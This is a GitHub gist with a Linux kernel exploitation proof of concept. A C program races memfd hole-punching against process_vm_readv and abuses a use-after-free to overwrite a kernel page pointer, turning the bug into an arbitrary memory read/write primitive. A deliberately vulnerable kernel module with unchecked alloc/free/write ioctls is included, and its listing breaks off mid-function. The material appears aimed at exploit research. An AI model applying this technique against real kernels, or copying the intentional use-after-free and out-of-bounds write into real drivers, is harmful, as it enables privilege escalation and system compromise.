Created
February 28, 2024 04:52
-
-
Save Roarcannotprogramming/3ef43a883e51765ed6410a4743ca2515 to your computer and use it in GitHub Desktop.
process_vm_readv/writev primitive
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <fcntl.h> | |
#include <linux/types.h> | |
#include <pthread.h> | |
#include <signal.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/ipc.h> | |
#include <sys/mman.h> | |
#include <sys/msg.h> | |
#include <sys/shm.h> | |
#include <sys/types.h> | |
#include <sys/uio.h> | |
#include <unistd.h> | |
#define TARGET_SIZE 0x1000 | |
#define TARGET_PAGES (TARGET_SIZE / 0x8 - 1) | |
#define NUM_FD 512 | |
#define MMAP_ADDR ((void *)0xdead0000) | |
#define MIB_PAGES (1ul << 12) | |
#define PAGE_SIZE 0x1000 | |
#define MY_MAGIC 'G' | |
#define TEST_ALLOC _IOR(MY_MAGIC, 0, int) | |
#define TEST_FREE _IOR(MY_MAGIC, 1, int) | |
#define TEST_VULN_WRITE _IOR(MY_MAGIC, 2, int) | |
// PROCESS_VM_READV / PROCESS_VM_WRITEV | |
char *buf_remote; | |
// PUNCHING HOLE | |
int mfd; | |
size_t shmem_sz = (MIB_PAGES * 64) * PAGE_SIZE; | |
// SYNC | |
struct sync_s { | |
unsigned int child_ready; | |
unsigned int punching_hole; | |
unsigned int vuln_prepared; | |
unsigned int calling_process_vm_readv; | |
}; | |
int shm_id; | |
struct sync_s *sync_s; | |
// VULN | |
int vuln_fd; | |
static inline uint64_t rdtsc() { | |
uint32_t lo, hi; | |
__asm__ __volatile__ ( "rdtsc" : "=a" (lo), "=d" (hi) ); | |
return ((uint64_t)hi << 32) | lo; | |
} | |
void hexdump(unsigned char *buff, size_t size) { | |
int i, j; | |
for (i = 0; i < size / 8; i++) { | |
if ((i % 2) == 0) { | |
if (i != 0) printf(" \n"); | |
printf(" %04x ", i * 8); | |
} | |
printf("0x%016lx", ((uint64_t *)(buff))[i]); | |
printf(" "); | |
} | |
putchar('\n'); | |
} | |
// PUNCHING HOLE | |
int punch_hole_prepare() { | |
int ret; | |
mfd = memfd_create("x", 0); | |
if (mfd == -1) { | |
perror("memfd_create failed"); | |
return 1; | |
} | |
void *addr = mmap(MMAP_ADDR, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, mfd, 0); | |
if (addr != MMAP_ADDR) { | |
perror("mmap failed"); | |
return 1; | |
} | |
ret = fallocate(mfd, 0, 0, shmem_sz); | |
void *addr2 = mmap(MMAP_ADDR + PAGE_SIZE, PAGE_SIZE * TARGET_PAGES, PROT_READ | PROT_WRITE, | |
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
if (addr2 != MMAP_ADDR + PAGE_SIZE) { | |
perror("mmap failed"); | |
return 1; | |
} | |
if (ret == -1) { | |
perror("fallocate failed"); | |
return 1; | |
} | |
} | |
void trigger_punch_hole() { | |
char tmp; | |
while (!sync_s->child_ready) | |
; | |
sync_s->punching_hole = 1; | |
uint64_t start = rdtsc(); | |
fallocate(mfd, FALLOC_FL_PUNCH_HOLE | FALLOC_FL_KEEP_SIZE, 0, shmem_sz); | |
uint64_t end = rdtsc(); | |
uint64_t cycles = end - start; | |
printf("Punch Cycles: %lu\n", cycles); | |
} | |
// PROCESS_VM_READV | |
int do_process_vm_readv() { | |
pid_t pid; | |
int pipe_fds[2]; | |
struct iovec local_iov; | |
struct iovec remote_iov; | |
char tmp; | |
buf_remote = mmap(NULL, 0x1000 * TARGET_PAGES, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
if (buf_remote == MAP_FAILED) { | |
perror("mmap failed"); | |
return 1; | |
} | |
local_iov.iov_base = MMAP_ADDR; | |
local_iov.iov_len = 0x1000 * TARGET_PAGES; | |
remote_iov.iov_base = buf_remote; | |
remote_iov.iov_len = 0x1000 * TARGET_PAGES; | |
pipe(pipe_fds); | |
pid = fork(); | |
if (pid == -1) { | |
perror("fork failed"); | |
return 1; | |
} | |
else if (pid == 0) { | |
// Child process | |
// Not Needed, but okay :) | |
strcpy(buf_remote, "Hello, world!"); | |
printf("Buf remote prepared\n"); | |
sync_s->child_ready = 1; | |
while (1) { | |
sleep(1); | |
} | |
} else { | |
// Parent process | |
long ret; | |
while (!(sync_s->punching_hole && sync_s->vuln_prepared)) | |
; | |
sync_s->calling_process_vm_readv = 1; | |
printf("Start process_vm_readv\n"); | |
uint64_t start = rdtsc(); | |
ret = process_vm_readv(pid, &local_iov, 1, &remote_iov, 1, 0); | |
uint64_t end = rdtsc(); | |
uint64_t cycles = end - start; | |
printf("Cycles: %lu\n", cycles); | |
if (ret == -1) { | |
perror("process_vm_readv failed"); | |
return 1; | |
} | |
hexdump(MMAP_ADDR + PAGE_SIZE, 0x1000); | |
printf("process_vm_readv done\n"); | |
} | |
} | |
// VULN | |
int trigger_vuln_uaf() { | |
vuln_fd = open("/dev/my_test_dev", O_RDWR); | |
if (vuln_fd == -1) { | |
perror("open failed"); | |
return 1; | |
} | |
struct arg { | |
unsigned int l; | |
unsigned char v; | |
} karg; | |
karg.l = 0x1000; | |
ioctl(vuln_fd, TEST_ALLOC, &karg); | |
ioctl(vuln_fd, TEST_FREE, &karg); | |
sync_s->vuln_prepared = 1; | |
while (sync_s->calling_process_vm_readv) | |
; | |
karg.l = 0x0; | |
karg.v = 0x00; | |
// We have several hundred ms to trigger, just sleep 1ms to avoid race | |
usleep(1000); | |
uint64_t target_val = 0xffffea000004ab40; | |
for(int i = 0; i < 8; i++) { | |
karg.l = 8+i; | |
karg.v = (target_val >> (i * 8)) & 0xff; | |
ioctl(vuln_fd, TEST_VULN_WRITE, &karg); | |
} | |
return 0; | |
} | |
void do_poc() { | |
pthread_t t1, t2, t3; | |
punch_hole_prepare(); | |
pthread_create(&t1, 0, do_process_vm_readv, 0); | |
pthread_create(&t2, 0, trigger_punch_hole, 0); | |
pthread_create(&t3, 0, trigger_vuln_uaf, 0); | |
while (1) { | |
sleep(1); | |
} | |
} | |
int main() { | |
shm_id = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0666); | |
if (shm_id < 0) { | |
perror("shmget"); | |
exit(1); | |
} | |
sync_s = (struct sync_s *)shmat(shm_id, NULL, 0); | |
do_poc(); | |
return 0; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/init.h> | |
#include <linux/module.h> | |
#include <linux/kernel.h> | |
#include <linux/ioctl.h> | |
#include <linux/fs.h> | |
#include <linux/device.h> | |
#define MY_MAGIC 'G' | |
#define TEST_ALLOC _IOR(MY_MAGIC, 0, int) | |
#define TEST_FREE _IOR(MY_MAGIC, 1, int) | |
#define TEST_VULN_WRITE _IOR(MY_MAGIC, 2, int) | |
#define DEVICE_NAME "my_test_dev" | |
#define CLASS_NAME "my_test_dev_class" | |
static int majorNumber; | |
static struct class* myClass = NULL; | |
static struct device* myDevice = NULL; | |
struct arg { | |
unsigned int l; | |
unsigned char v; | |
}; | |
char *buf; | |
static long test_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { | |
struct arg karg; | |
if (copy_from_user(&karg, (struct arg *)arg, sizeof(struct arg))) { | |
return -EACCES; | |
} | |
switch (cmd) { | |
case TEST_ALLOC: | |
buf = kmalloc(karg.l, GFP_KERNEL); | |
break; | |
case TEST_FREE: | |
kfree(buf); | |
break; | |
case TEST_VULN_WRITE: | |
buf[karg.l] = karg.v; | |
break; | |
default: | |
return -EINVAL; | |
} | |
return 0; | |
} | |
static struct file_operations fops = { | |
.owner = THIS_MODULE, | |
.unlocked_ioctl = test_ioctl, | |
}; | |
static int __init test_example_init(void) { | |
majorNumber = register_chrdev(0, DEVICE_NAME, &fops); | |
if (majorNumber < 0) { | |
printk(KERN_ALERT "Failed to register a major number\n"); | |
return majorNumber; | |
} | |
myClass = class_create(THIS_MODULE, CLASS_NAME); | |
if (IS_ERR(myClass)) { | |
unregister_chrdev(majorNumber, DEVICE_NAME); | |
printk(KERN_ALERT "Failed to register device class\n"); | |
return PTR_ERR(myClass); | |
} | |
myDevice = device_create(myClass, NULL, MKDEV(majorNumber, 0), NULL, DEVICE_NAME); | |
if (IS_ERR(myDevice)) { | |
class_destroy(myClass); | |
unregister_chrdev(majorNumber, DEVICE_NAME); | |
printk(KERN_ALERT "Failed to create the device\n"); | |
return PTR_ERR(myDevice); | |
} | |
printk(KERN_INFO "%s: device class created correctly\n", DEVICE_NAME); | |
return 0; | |
} | |
static void __exit test_example_exit(void) { | |
device_destroy(myClass, MKDEV(majorNumber, 0)); | |
class_unregister(myClass); | |
class_destroy(myClass); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment